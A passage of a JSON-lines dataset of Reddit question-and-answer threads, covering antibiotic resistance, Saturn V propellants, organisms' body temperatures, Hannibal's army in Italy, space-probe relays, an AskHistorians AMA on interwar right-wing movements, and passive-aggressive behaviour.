Eukaryotes for that matter (the biologic kingdom apart from all bacteria).  Other antibiotics work by disrupting other vital systems specific to bacteria, for instance their mechanism of building proteins.  Because antibiotics are so specific to disrupting one essential part of a bacterium's metabolism they work at far lower concentrations than an anti-microbial and can be safely given to infected people without fear that there will be too many side effects.  On the other hand, it also means that all a bacterium has to do to become resistant to an antibiotics is mutate that key part of it's metabolism that the antibiotic disrupts, maybe just enough so the antibiotic can no longer chemically bind to it.  Alternatively the bacteria can begin expressing an efflux pump that just pumps foreign toxins like antibiotics out of it's cytoplasm.  It does not require a dramatic change in the way the pathogenic bacteria operates to become resistant to an antibiotic, whereas becoming resistant to an anti-microbial substance takes millions of years of careful evolution.  \n\ntl;dr: Anti-microbials are like napalm, they destroy all biologic compounds and are not specific to bacteria.  Antibiotics are like smart bombs that target certain pathways and can thus resistance develops when that pathway is altered or the toxin is neutralized.  ", "First, there are plenty of bacteria resistant to whatever garlic is producing, evidenced by the existence of garlic bacterial pathogens: _URL_0_  If they were not resistant to those molecules, then they likely would not be able to infect garlic.\n\nTherefore, there has been resistance developed to whatever garlic is producing.  It is not clinically relevant (yet?), so we don't hear about it.  This is akin to how resistance to many antibiotics exists in nature, in other non-clinically-relevant bacteria, but these resistance genes eventually become prevalent in the genome of a clinically relevant bacterium once we apply the selective pressure of antibiotic use.\n\nSecond, most antibiotics are \"natural,\" in that they were originally isolated from another organism.  We have had to modify several of these antibiotics to circumvent the original resistance, but the bacteria adapt and become resistant to the modified antibiotics, as well.  \n\nCopper works in a different way, but it also is unlikely to become a clinical tool.  /r/lewisdot gives a good explanation.\n\nSo your question is based on two false assumptions.  They are very common assumptions, and I'm glad that you had the curiosity to ask!"]}, "title_urls": [], "selftext_urls": ["http://pubs.acs.org/subscribe/archive/mdd/v05/i04/html/04news4.html", "http://en.wikipedia.org/wiki/Antimicrobial_properties_of_copper"], "answers_urls": [[], ["http://www.apsnet.org/publications/commonnames/Pages/OnionandGarlic.aspx"]]}
{"q_id": "2tlp1r", "title": "Why did the first stage of the Saturn V use different fuel from the second and third stage?", "selftext": "I'm kind of wondering here, why did they use Kerosene (or RP-1) for the first stage, and Liquid Hydrogen for the second and third? Does it have something to do with the thrust and efficiency?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2tlp1r/why_did_the_first_stage_of_the_saturn_v_use/", "answers": {"a_id": ["co0c91i", "co0cg05", "co0jn89", "co0m6mi"], "score": [25, 8, 6, 5], "text": ["It is solely to do with thrust and efficiency, actually. Kerosene is energy dense, and liquid at high temperature. It doesn't need to be cryogenically cooled, like liquid Hydrogen, and can be stored in a much smaller tank. You save weight on fuel tank size, insulation, etc. Being more dense also makes it easier to burn a lot of it in a short amount of time and produce more thrust, because you're not having to push huge volumes of liquid Hydrogen through your system.\n\nHowever, because the combustion products are heavier, they can't be thrown out the back by the rocket engine at as high a speed as burning liquid Hydrogen. This means that the combustion is less efficient. Lower stages are always less efficient anyway, though, because they're dealing with the atmosphere (not the case in space).\n\nFor a lower stage, you want to produce a lot of thrust, and you aren't as concerned about efficiency. You want to pack a big bang for a little buck. When you get to space, you want to start using more efficient propulsion techniques and fuel sources so that you're getting more out of your payload.", "The hydrogen/oxygen reaction releases a lot of energy per unit mass, so it makes a good rocket fuel, since you have to lift less mass for the same amount of energy, but there are two problems (more than two, but two relevant ones). Liquid hydrogen has a very low density compared to other liquids, so the tank has to be physically very large (though the net effect is still a mass reduction), and it has to be stored at very low temperatures, which requires a specially insulated tank. Kerosene, on the other hand, is less efficient, but is much more dense and can be stored \"safely\" at room temperature.\n\nThese pros and cons matter different amounts depending on what stage you're talking about. For the third stage, the mass efficiency matters a lot, because the first and seconds stages have to lift it. On the first stage it matters a little less, because no other stages get penalized. Having a large tank hurts the first stage more, because the structural mass needs to be even greater to support the weight of the two stages (and payload) above it.\n\nBasically this is just an optimization problem, the higher you are on the rocket, the more the efficiency bonus of hydrogen helps you, and the less the extra tank size hurts you. It's very common for launch vehicles to use different propellants for different stages, and hydrogen is usually the highest stage.", "Other responses got it right describing the pros and cons, but there's something I'd like to add: cost. This shouldn't be neglected.\n\nThe lowest stage is always the largest, carrying roughly 1/2 of the rocket's total mass at liftoff. That's why there's a lot to save by using a cheap fuel here and leaving the most expensive one for upper stages.", "When dealing with rocket engines there is a thing called specific impulse to take in to account. (_URL_0_)\n\nDifferent specific impulses are better at different pressures and thus more efficient. You can also reach certain extremes. For instance ion drives have a very high specific impulse, but an extremely low thrust/weight ratio, they can only be used when other forces are pretty much negiligeable (in space).\n\nThe Saturn V first stage needed a very high thust to weight ratio, but a low specific impulse. First stages can be full of fuel and a bit inefficient."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Specific_impulse"]]}
{"q_id": "1ttbvr", "title": "Are there life forms that exist with relatively low, or high, body temperatures?", "selftext": "So, I'm making a generalized and only moderately informed claim that our body temperature is regulated at around 98 Fahrenheit because this is the temperature range in which the chemical reactions, necessary to sustain our bodies/processes, can occur with little detriment.\n\n If my assumption is correct, are there life forms that exist with unique enzymes and biochemistry which need a lower body temperature to function properly? Higher ones?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ttbvr/are_there_life_forms_that_exist_with_relatively/", "answers": {"a_id": ["ceb8n8n", "cebb0y0", "cebb3ew"], "score": [6, 2, 2], "text": ["There are organisms that survive solely off of geothermal energy emitted from vents and rifts in the ocean floor. Very extreme pressure and heat, but it is like an oasis there for them. I guess I would say yes, there are developments organisms have to allow them to survive what we perceive as extreme temperatures", "Birds maintain their body temperature between 104-108\u00b0F. Flying demands a high amount of energy, so birds maintain this high temperature in order to provide an internal environment that supports a very fast metabolism. Birds eat constantly or will pack on fat before sustained migration to sustain the demands for high energy flight.\n\nThey also have physiological adaptations, namely their lungs and heart, that provide their cells with adequate oxygen for metabolism. In contrast to our simple lungs and diaphragm, birds have a system of air sacs that push air unidirectionally through the lungs, maintaining a fixed volume and providing a constant flow of oxygen. The avian heart is proportionally larger than other animals (accounting for body size) and also beats at a faster rate, thus sustaining a high metabolic rate.\n\nI expect if you looked at any of the key metabolic enzymes (NADH reductase, pyruvate dehydrogenase, etc.) in birds, their optimal temperature would be 104-108\u00b0F.", "If you're willing to include microorganisms, then there are plenty of archaea and bacteria that can survive at low or high temperatures (psychrophiles and thermophiles, respectively). One of the reasons we study them is to look for enzymes that are capable of operating at more extreme temperatures, as they can have important industrial applications. For example, Taq polymerase (originally isolated from a bacterium that happily grows at 70\u00b0C in hot springs) is commonly used in research labs around the world, and is valued because it remains stable at the high temperatures required for amplifying DNA using polymerase chain reaction (PCR) (often max out at  > 90\u00b0C). The fact that the enzyme is heat-stable is indicative that the internal temperature of the bacterium that produces it is similar to the ambient environment, in this case ~70\u00b0C."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5ijl2k", "title": "How did Hannibal manage to keep his soldiers in Italy for about a decade, away from their families? Did they go on a rotation back to Carthage ? Did he pay them?", "selftext": "It is mind boggling to me that anyone would stay away from their homes for so long. How did the supply lines work? Did the soldiers get mail from Carthage? And all of this when the Carthage senate did not fully stand behind Hannibal at all times. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ijl2k/how_did_hannibal_manage_to_keep_his_soldiers_in/", "answers": {"a_id": ["db8yh5v", "db8za4h"], "score": [6, 181], "text": ["God this is such a simple question. I've always wondered this! \n\nI've always wondered how logistics and travel worked back in those days. Did they accurately know they were entering Italy after marching from Spain to Italy? (I can't remember but I'm sure they sailed to Spain then marched the rest??)\n\nDo you think they simply pillaged villages to keep supplied? ", "There were no significant direct supply lines between Hannibal and Carthage (almost none of his soldiers were from Carthage, eventually many were even Italian) at any point during the Italian phase of his campaign, so his soldiers could not receive mail nor go home on leave, if such a logistical and organisational system existed in this period of warfare, which it did not. This lack of sea-route into Italy was a main reason Hannibal had to cross the Alps in the first place, and the only reinforcements he ever got from his brother Hasdrubal, that were destroyed at Metaurus in 207 BC, were also forced to use this route. Hannibal made repeated attempts to secure some control over a part of the Italian coast-line, the three unsuccessful battles he fought against Marcellus at Nola probably being related to this. He controlled Tarentum, which was on the SE coast of Italy for a few years, but he was never able to personally capitalise much on this as he was always busy campaigning elsewhere and the Romans took it back in 209. The Romans also managed to maintain control of the city's citadel with their remaining garrison for the entire 3 year duration the city was under Carthaginian control. Aside from this, which probably made it impossible to use the city as a strategic base of any kind, the fact that the few years Hannibal's subordinates held Tarentum saw no reinforcements from Carthage may also suggest that Rome controlled the ocean and Carthage's resources were too stretched, constantly paying and raising huge numbers of troops for the enormous Spanish campaigns.\n\nHannibal did his best to pay his men, but resources were tight in Italy. He was careful to offer financial incentives to motivate men before battle (Livy 30.33), but sometimes he lacked the money to pay them (30.12). He wasn't the only one with this problem, Scipio also suffering a near-mutiny over the issue of pay (30.24-9), and he needed to cough up the money to settle the whole thing down. Hannibal would have taxed the Italian population centres he controlled to the eyeballs to pay his troops, but no doubt their pay was in significant arrears by the end of the campaign. The fact that we hear nothing of any real mutiny against Hannibal is testament to how well-loved he was as a general.\n\nHannibal had no choice but to keep his soldiers away in Italy so long if he wanted to win the war and guarantee his own reputation, and if they wanted to be a part of his conquest, which would have been the most glorious in human history if it had succeeded, they had to stay with him. Hannibal's soldiers loved him, and despite desertion problems among Italians, soldiers from Spain and Gaul which formed a large proportion of his troops didn't necessarily have anywhere to go even if they did desert. Of course it was stressful for soldiers to be away from home so long, we can see in the mutiny suffered by Alexander the Great in the east that there was a point where even the best army got sick of it. But Hannibal's men (which through huge casualties and turnover would have been mostly a different group of people at Zama than they were at Cannae) stayed mostly loyal, and that's a positive reflection on their own determination but also Hannibal's reputation and performance. Of course, later in the war he used more and more Italian soldiers, prominently Bruttians, who ended up having to surrender back to Rome again, but many Italians may have even followed Hannibal over to Africa! To some extent, they may have had little choice after their 'crimes' against Rome.\n\nLivy gave us this emotional piece of literature in the Late Republic, which has shaped the views of many regarding the support/lack of support of Hannibal by Carthage. This takes place shortly before Zama at Hannibal's recall from Italy:\n\n > \"It is certain, that Hannibal made no farther efforts in Italy, for deputies came to him from Carthage, recalling him to Africa, nearly at the same time with Mago. Hannibal is said to have been thrown into the most violent agitation, and scarcely to have refrained from shedding tears, on hearing the words of the deputies. When they had delivered the orders, which they had in charge, he said,\u2014\u201cNow, indeed, they recall me, not in ambiguous terms, but openly, who have, for a long time past, been dragging me home, by refusing me supplies both of men and money. It is not the Roman people, so often discomfited and routed, that has conquered Hannibal, but the Carthaginian senate, through the malicious suggestions of envy; nor will Scipio exult, and pride himself, so much in this my disgraceful retreat, as will Hanno; who, unable to do it by any other means, has crushed our family under the ruins of Carthage.\u201d (Livy 30.19-20).\n\nLivy wrote this nearly two centuries after the fact, and it's probably just made up. The point he is making is that despite the skill and *virtus* of Hannibal, Carthage lacked the military and moral qualities of Rome and failed to support its commander, whereas Rome would have done so and was therefore the more worthy city. It's a moralising piece, but it does not take into account that Carthage either did not have a sea-lane to assist Hannibal with, and their resources were quite stretched anyway. There was probably not much more that Carthage, or Hannibal, could have done. The final great effort in Italy that might have changed things was Hasdrubal's crossing into Italy in 207 BC, but the two Roman consuls managed to give Hannibal the slip at concentrate on Hasdrubal to defeat him at Metaurus. Let's not forget that was Hannibal's error if it was anybody's, and probably his last real chance to change the tide of the war in Italy. The strategic and logistical limitations of Hannibal's war in Italy made the task of defeating Rome almost impossible, but he also made mistakes, and Carthage cannot be blamed for the all-but-inevitable result of Hannibal's defeat by the overwhelming resources and determination of Rome."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3c9tbv", "title": "Can we put communications satellites in orbit between Earth and the outer solar system in order to boost signals from our probes?", "selftext": "Having a designated solar powered satellite to boost signals would allow us to make transmitters less power intensive on our probes and give us more freedom. Or would it just not be a good return on investment? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3c9tbv/can_we_put_communications_satellites_in_orbit/", "answers": {"a_id": ["cstoyz1", "cstu469"], "score": [18, 6], "text": ["We sort of do this already. The Mars orbiters can be used to relay signals from landers, Rosetta was the relay for Philae, and Cassini relayed for Huygens. Putting a satellite into solar orbit would likely be expensive ~~(gotta go fast)~~ (forgot that more distant orbits are actually slower) and not terribly useful because the relay would spend half its time further away than Earth from the space probes. We also have ground-based antennas that are so sensitive that they can pick up the 20 watt signal from the Voyager probes still.\n\nEDIT: I guess it could make sense if there were 2-3 probes in orbit somewhere, though it's cheaper to put a slightly heavier transmitter into each probe than it is to launch an entire satellite. A transmitter may add a couple kg of mass, while an entire satellite would be 200kg or more, so you'd need to launch 100 probes before you start saving money.", "The main thing about this is we really don't need to do this.  Man-made radio signals, even ones as far away as Voyager I, are *incredibly* bright radio sources because they are *so* close.  One comparison we often make is saying a cell phone on the *moon* would be one of the brightest radio sources in the sky.\n\nSo, compare radio astronomy to the Voyager I probe, which is currently transmitting at 10^-16 Watts or so per NASA.  Well in radio astronomy I routinely study sources that would correspond with a brightness of several times fainter than that! (The ultimate limitation appears to be more powering the probe when it gets that far out.) So hey, much easier to just put in a transmitter you know is bright enough to be picked up anywhere in the Solar System over launching several hundred million dollars worth of satellites to do the job for you (unless, as the other poster said, you know one's already there)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4yp32i", "title": "AMA: The Age of Right Wing Revolutions, 1918-1945", "selftext": "Since 1776 revolution itself has tended to be associated with popular republican or socialist movements directed against traditional aristocratic orders. The American and French Revolutions, the movements of 1848, the 1917 Bolshevik Revolution and 1918 German Revolution all fit this pattern to differing degrees, mixing in more socialism as the 19th century progressed and turned to the 20th. During the interwar period this traditional order, reacting to the threat of Bolshevism and drawing popular strength from the nationalism and militarism inflamed by the Great War, acted upon their own revolutionary agendas. Thus in the right wing movements of 1918-1945 we have what would have seemed a contradiction to the conservatives of the 19th century: Revolutionary Conservatism.\n\nThough we associate these (and other) movements of the 20's and 30's with \"fascism,\" it is more accurate to speak about a global reaction that took different forms in different countries. How did this reaction play out in countries across the west? To answer your questions, r/askhistorians has assembled an elite band of flaired users.\n\n/u/Bernardito\nis here to answer questions about the Movimiento Nacional Socialista de Chile, the Chilean National Socialist Movement, during the 1930s.\n\n/u/callanquin\nInfrequent contributor to the subreddit, who is vastly out of his league in terms of the caliber of professionals around him. My interest resides in the economic and political aspects of the Third Reich and Nazi Party, mainly after 1933. That said, the economic turmoil in Germany that elevated National Socialism's popularity in Wiemar Germany can be fully examined in my book choice (see the bibliography, below).\n\n/u/Commiespaceinvader\nIs a PhD candidate at a major German university specializing in the study of Nazi Germany, the Holocaust and South Eastern Europe in the Second World War. The Austrian and German paramilitary right wing organizations as well as fascist movements in Europe are also particular research interests.\n\n/u/Domini_canes\nI often post regarding Catholicism in the 20th century\u2014particularly in the Spanish Civil War and the institution of the papacy. I hope to be able to shed light on Spain's right wing revolution as embodied by the 1936 rebellion that led to the formation of the Nationalists and eventually Franco's dictatorship. Stanley Payne is the among the best authors on this subject, having written a number of well-recieved works.\n\n/u/dubstripsquads\nI am a historian of race, violence, and politics in American history from 1865 to the 1970s. I can discuss American Fascist movements, Nazi propaganda organs in the US, the Klans, and how these groups rose and fell.\n\n/u/Georgy_K_Zhukov\nstudies Nazi German and the Second World War, as well as a specific interest in the German and Italian cultures of (Fascist) Masculinity in the 1920s and '30s as it relates to the institution of dueling.\n\n/u/G0dwinsLawyer\nI am an amateur historian interested in the Weimar period. Specifically, I aim to understand the causes of Nazism, so the scope of my interest really reaches back into the late 19th century. I keep a blog devoted to hashing out the real history of the many Hitler/Nazi references made in the media: [Godwin's Lawyer](_URL_0_).\n\nDisclaimer, Mike Godwin merely tolerates my existence and has not endorsed me in any way.\n\n/u/kaisermatias\nHave an MA that focuses on Russian history (well not technically yet, but it'll be done around then; also not exactly Russian history, but too specific a degree for me to disclose here). Focus was on Soviet nationality policy in Abkhazia. Also have familiarity with the early Soviet Union, particularly the Caucasus, and interwar Poland.\n\n/u/Sunshine_Bag\nCurrently ~~a slave~~studying at a major American university focusing on Modern Italy since World War One. My focus thus far has been on the evolution of calcio, and it's role in Italian politics.\n\n/u/terribletauTG\nAmateur historian focusing on cultural changes in 20th-century Germany. Area of interest also includes socialism in Germany.\n\n/u/TheTeamCubed\nI studied history at the undergraduate and master's level at two major Midwestern United States public research universities, though I do not currently pursue history as my profession. My focus in graduate school was on the Holocaust, and my thesis was about the 1947 Dora Trial. Mittelbau-Dora was the concentration camp where Germany manufactured the V-2 rocket from late 1944 until the end of the war, so I also addressed the responsibility of the engineers and scientists who later worked for the US space program.\n\n/u/tobbinator\nI'm an amateur interested in the Spanish Civil War but not majoring in a history field. I'm particularly interested in the internal politics during the war and its direct leadup, especially the anarchist movement of the era.\n\nYour contributors have kindly provided a bibliography for those interested in continued reading on this topic. Enjoy!\n\n**The USA:**\n\nVoices of Protest: Huey Long, Father Coughlin, and the Great Depression- Alan Brinkley\n\nInsidious Foes: The Axis Fifth Column and the American Home Front - Frances McDonnell\n\nThe Terrorist Next Door: The Militia Movement and the Radical Right - Daniel Levitas\n\n**Spain:**\n\nSeidman, Michael. The Victorious Counterrevolution\n\nAckelsberg, Martha. Free Women of Spain\n\nBeevor, Antony The Battle for Spain: The Spanish Civil War 1936\u20131939. London: Weidenfield  &  Nicolson\n\nThomas, Hugh The Spanish Civil War. London: Penguin\n\nPreston, Paul. The Spanish Civil War: Reaction, Revolution, and Revenge. New York: WW. Norton  &  Co\n\nSanchez, Jose M. The Spanish Civil War As a Religious Tragedy. University of Notre Dame Press\n\n**Germany:**\n\nRobert Gerwarth: The Central European counter-revolution: paramilitary violence in Germany, Austria and Hungary after the Great War. In: Past and Present (2008) 200 (1): 175-209.\n\nMichael Wildt: An Uncompromising Generation. The Nazi Leadership of the Reich Security Main Office. 2009.\n\nBiddle, Wayne. Dark Side of the Moon: Wernher von Braun, the Third Reich, and the Space Race. New York  &  London: W. W. Norton  &  Company, 2009.\n\nNeufeld, Michael J. The Rocket and the Reich: Peenemunde and the Coming of the Ballistic Missile Era. Cambridge, MA: Harvard University Press, 1997.\n\nStern, Fritz. The Politics of Cultural Despair, A Study in the Rise of the Germanic Ideology. Berkeley and Los Angeles: University of California Press, 1961.\n\nWeitz, Eric. Weimar Germany: Promise and Tragedy. Princeton, NJ: Princeton University Press, 2009.\n\n**Chile:**\n\nMount, S. Graeme. Chile and the Nazis: From Hitler to Pinochet (2001).\n\n**In the Soviet Union:**\n\nMartin, Terry. The Affirmative Action Empire: Nations and Nationalism in the Soviet Union, 1923\u20131939 (2001).\n\nSaparov, Ars\u00e8ne. From Conflict to Autonomy in the Caucasus: The Soviet Union and the making of Abkhazia, South Ossetia and Nagorno Karabakh (2015).\n\n**Italy:**\n\nMartin, Simon. Football and Fascism: The National Game under Mussolini. Oxford: Berg, 2004.\n\nBosworth, R. J. B. Mussolini's Italy: Life under the Dictatorship, 1915-1945. New York: Penguin Books, 2006.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4yp32i/ama_the_age_of_right_wing_revolutions_19181945/", "answers": {"a_id": ["d6pd411", "d6pdt69", "d6peh46", "d6peizd", "d6pessl", "d6pf3h4", "d6pg0ah", "d6pg44v", "d6pgbuc", "d6ph4mf", "d6phbae", "d6phcn9", "d6phfxs", "d6pkq0g", "d6plmtj", "d6plsn2", "d6plu5q", "d6plxer", "d6pmg6b", "d6pnfu9", "d6po5nk", "d6ppudx", "d6prf8v", "d6pt8ec", "d6pup8k", "d6puz0q", "d6q1zqx", "d6q2c56", "d6q2gff", "d6q6m1x", "d6qaz5t", "d6qzbzf", "d6r3go1", "d6rqtjo", "d6ruhl8"], "score": [35, 17, 4, 8, 4, 10, 4, 14, 8, 6, 4, 6, 22, 4, 3, 3, 4, 5, 3, 4, 19, 4, 9, 5, 7, 3, 3, 2, 2, 2, 6, 2, 3, 2, 2], "text": ["Is fascism an ideology or just a bunch of cobbled together ideas that shift depending on the place and time?\n\nFor example Marxism-Leninism is an ideology. You have a bunch of books written about what marxism-leninism entails and how it can be applied in different ways in different countries. It has a philosophical basis resting on dialectical materialism and has a clear final goal of what it wants to achieve and how to get there. \n\nDid any fascists really have this? Or was there no real ideological basis beyond nationalism?", " > Though we associate these (and other) movements of the 20's and 30's with \"fascism,\" it is more accurate to speak about a global reaction that took different forms in different countries. \n\nGiven this, to what degree was there any kind of direct interaction between any of the various revolutions? More specifically, do we see the revolutions in the Hispanic world (/u/bernardito, /u/Domini_Canes, /u/tobbinator) take inspiration from figures in other movements (directly or indirectly), or did any of their participants go on to make change elsewhere?", "I know nothing about Chilie's Movimiento Nacional Socialista de Chile so lets start simple: what's the influence of this movement on Spain and/or post WW2 Chilean history\n\n[also any suggestions for a good overview of South America in 20th century?]", "Did the \"Right Wing Revolutions\" have an impact in the Arab world? ", "What role did the SA play in Hitler's rise to power? Were they well known and feared by the public?", "Did any fascist movements borrow from the organizational structures of their ideological opponents? I'm thinking particularly of the Bolshevik \"cell\" structures. In my own area of study it's always been intriguing to me how much the Muslim Brotherhood seemed to have been borrowing from international revolutionary movements, both left and right wing, and I'm wondering if any fascist movements did likewise or if their ideology tended to preclude that kind of emulation.", "Last year I read Klaus Theweleit's *Male Fantasies* and found myself fascinated by the interwar *Friekorps*. So I have a couple of questions related to that. \n\n1) What do modern scholars of fascism make of Theweleit's work?\n\n2) In the street fighting that occurred in the Weimar Republic, did the Nazi Party ever run the risk of being outright defeated? How much of an impact did riots and violence have on politics of the time? Did the *Reichsbanner* paramilitary arm of the SDP ever accomplish anything or was it entirely ineffectual?", "Why were fascist movements of the english-speaking nations such as the American Bund and Mosley's British Union of Fascists either dismal failures or practically non-existent?", "Most Eastern European countries at this time are said to have been ruled by right-wing authoritarian dictatorships after the failure of democracies or left-wing revolutions. To what extent did these regimes interact with fascist powers? Did they view nations like Nazi Germany with suspicion (like Poland) or did they see potential allies against the Soviets? How many took policies from Fascist Italy or Nazi Germany?\n\nedit: Did right-wing authoritarian leaders view the right-wing revolutions as problematic? I don't know much but I imagine they were a more conservative lot than Hitler or Mussolini.", "To my less-than-informed eyes, Britain seems to have avoided the possibility of a right-wing revolution, with the most likely suspects, the British Union of Fascists, being treated as a curiosity at best, a joke at worst. Is this true, and if so, why?", "Were there any Russian fascist movements during this period? Were they organized inside or outside Soviet borders?", "Second question as I'm a little greedy - how does the Organisation of Ukrainian Nationalists and other far-right revolutionaries without a state (primarily in the Soviet Union, but happy to look at other states as well for comparative reasons) to enact their ideological and political goals in fit into this framework and the Second World War?", "Another question: I know many American conservatives who absolutely disagree with the idea that Fascism or Nazism could be \"right-wing.\" Instead of getting into that debate in detail, I'm actually really curious - what was the American conservative response to fascist movements in the US, or other far-right movements? Since they aren't suspicious of things like democracy like conservatives in Europe, did they just roundly condemn them?", "What is the different between Fascism in Japan and Fascism in Europe? Why did Hitler choose to stop cooperating with Chiang Kai-Shek and ally with Japan instead?", "A big part of the Nazi position was anti-communism - how was the Molotov-Ribbentrop pact 'sold' to the German people considering this?", "I am not sure if someone can answer my question but I was wondering how strong was the *A\u00e7\u00e3o Integralista Brasileira* (Brazilian Integralist Action ) in the 1930s. Was it ever strong enough to directly oppose the power of Get\u00falio Vargas ?", "My impression of early fascists (like the Italian Futurists) is that they were aggressively anti-conservative. How was it then that the movement allied itself with conservatives, as in Italy and Spain?", "How important was football in Mussolini's Italy? And did it affect anything politically? ", "In how far were fascist movements in Europe consciously aping the Bolsheviks? \n\nThe Chinese Nationalist Party received aid and organisatorial lessons from Mikhail Borodin from the Komintern (because there was no CCP and they were anti-imperialists) and they would rule Taiwan as a one-party-state until 1990.\n\nHave any of the other commie eating fascists been secretly reading Lenin's \"what is to be done\"?", "the liberal (in a broad sense) consensus seems to be that the rise of fascism and other extreme right wing revolutionary movements was due to the \"failure of democracy\". would you say this is true, or would you rather emphasise its anti-socialist nature and say it was a reaction against the socialist revolutions (succesful, failed or threat thereof) of the same era? the latter narrative seems to fit well with e.g. germany and nazism as well as other european varieties of fascism (off the top of my head e.g. france, italy and austria saw intense class struggle in the same period), but how would that fit in with e.g the US and chile?\n\ni guess i should tag u/bernardito and /u/dubstripsquads for the last part of the question.", "Esteemed panelists, in *The Anatomy of Fascism*, Paxton identifies the first Klan as a candidate for the world's first fascist movement. They obviously didn't call themselves that, but seem to meet his criteria. What do you think of the suggestion?\n\nSecond question: The rise of European fascism is roughly contemporaneous with the second Klan in the United States. Did the Klan then have any connections or affinities with American fascist groups, or was that all too foreign for the 100% Americanism Klan? Either way, did Klansmen have any notable positions on the rise of European fascist movements?", "In your opinions, would a set of non-expansionist fascist nations that cooperated and traded be feasible?  Say, the V4 and friends?", "OK, I'll bite. Dear /u/georgy_k_zhukov , how did the institutions of dueling relate to the German and Italian cultures of Masculinity and Fascism?\n\nWas the decline of dueling in any way tied into the destruction of Fascism in those cultures?\n\nThanks!", "Hi! Thank you all for all the answers provided so far. I just posted my question as a main post in the sub but I will bring it over here in hopes of finding answers. \n\nHow were the Black Shirts recruited in the 1920's Italy? What was the process for a young Italian man go from living a presumably normal life to joining a para-military group that was physically attacking other political protests/groups? How did they find new members? How was what they did legally protected? Thank you in advance. Any information will be helpful. ", "Thanks to the panelists for taking the time to do this AMA! \n\nAre there any historians who view the far right movements of the early 20th century as anti-modern? While I haven't read much on the topic, it seems that the vast majority of scholars see the movements as the quintessential expression of \"high modernity\" and the unquestioned faith in technology and progress.", "What was the overall reaction of non-fascist (Western, if possible) countries to the rise of these extreme states in countries such as Germany  &  Italy? Obviously England  &  France were worried about an overly aggressive Germany, or an expansionist Italy, but was the average American worried about Adolf Hitler prior to the outbreak of WWII? Did they view these fascist ideologies with scorn, was it a necessary evil to combat Bolshevism, or did they really not care until Axis Powers began invading others?  \nTo clarify, was the average citizen of a non-fascist western country worried about the implications of the rise of these governments, or what was their general thought process on them?", "A question for /u/dubstripsquads\n\nWhat was the view of American fascist and other right wing groups on interventionism and isolationism?\n\nEspecially in regard to the expanding Japanese Empire. Would they also have embargoed Japan or would they have let it do as it wants?\n\nThank you", "After the night of the long knifes did Hilter every express any doubt that he had done the right thing?", "Did Hitler ever request a report on \"why they lost the last war\" from the army? Did he any reading of general staff reports? Do we know if he honestly believed in the \"Stab in the back\" explaination after he came to power? Or was it all propaganda to create a political narrative?", "whats the deal with leon trotsky being in charge of the red army. was he actually involved in tactics and strategy? seems odd to have a philosopher in that kind of position.", "I'm curious about the Lapua Movement and M\u00e4nts\u00e4la coup attempt in Finland.\n\nHow widespread was their support?\n\nHow close were they to success?\n\nDid Mannerheim really have sympathies for them?\n\nWas there any foreign support for them (like from Germany, for instance)?", "What methods were used by the fascists, particularly in Italy and Germany to popularize the views held by the respective fascists?\n\nWhat were the main social and economic conditions that led to the various revolutions during this time period?\n\nThe population predominately in the east of Spain during the Spanish Civil War seemed very much against the fascists, what tactics were used post war to stop insurrection and rebellion against Franco's regime?\n\nSorry for having so many questions, and I'd like to thank so all for doing this AMA.", "/u/tobbinator and /u/Domini_canes\n\nHow much of a say did the church have in Franco's Spain? How much did the Vatican?\n\nI grew up reading Carlos Gim\u00e9nez' excellent comics series Paracuellos, about his childhood in a hellish phalangist-run orphanage (these comics were a big thing in Denmark, but bizarrely not in the Anglosphere?). Were Phalangist-run or semi-fascist institutions commonplace, or was Gimen\u00e9z particularly unfortunate?\n\nAnd a very big question, sorry: Was Franco's Spain totalitarian?", "/u/Bernardito, sorry I am late but if you want you can answer some of my questions.\n\nHow did Nazism take ground in Chile? Why did it manage to come so far away?\n\nIs it wrong to view it as less racially strict then the European counterpart? Is the concept of the Chilean Race (a mixture of Northern European and Mapuche) involved in it in any sense? \n\nWhat was the relationship between the Nacistas and Iba\u00f1ez del Campo? It always struck me as weird that del Campo managed to get backing from left wing elements while also backing Segun Obrero.", "Id like to ask /u/Bernardito,\n\n1. What was the influence of the short Socialist Republic of Chile in the creation of the Chilean national socialist movement?\n\n2. How connected/influenced was it to the differing fascist movements in europe?\n\n3. And maybe out of scope of the question, but how much can the formation of the chilean popular front be attributed to this fascist movement, or more specifically the threat of this fascist movement?\n\nI hope im not to late, and thank you if you will take out time to answer the questions!"]}, "title_urls": [], "selftext_urls": ["https://www.godwinslawyer.com"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "36r0zq", "title": "how did passive aggressive behavior become so prevalent? is there an evolutionary explanation? do any other animals have this trait?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36r0zq/eli5_how_did_passive_aggressive_behavior_become/", "answers": {"a_id": ["crgautw", "crgo5oh"], "score": [5, 3], "text": ["I don't know about other animals, but being passive aggressive is a way of applying social pressure to force the target to do what you want, even if you couldn't physically overpower them or couldn't win a true verbal argument. It's kind of a last resort type action - \"I can't do anything else, so I'm going to annoy the crap out of you.\"", "It is simply one of many competitive strategies, that has become more prevalent as direct confrontation has become more frowned upon.\n\nIn previous generations, taking someone's lunch might result in a shouting match or even a fist fight.\n\nNow that you can be fired or even arrested for those things, guilt trips and public shaming are the weapons of choice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
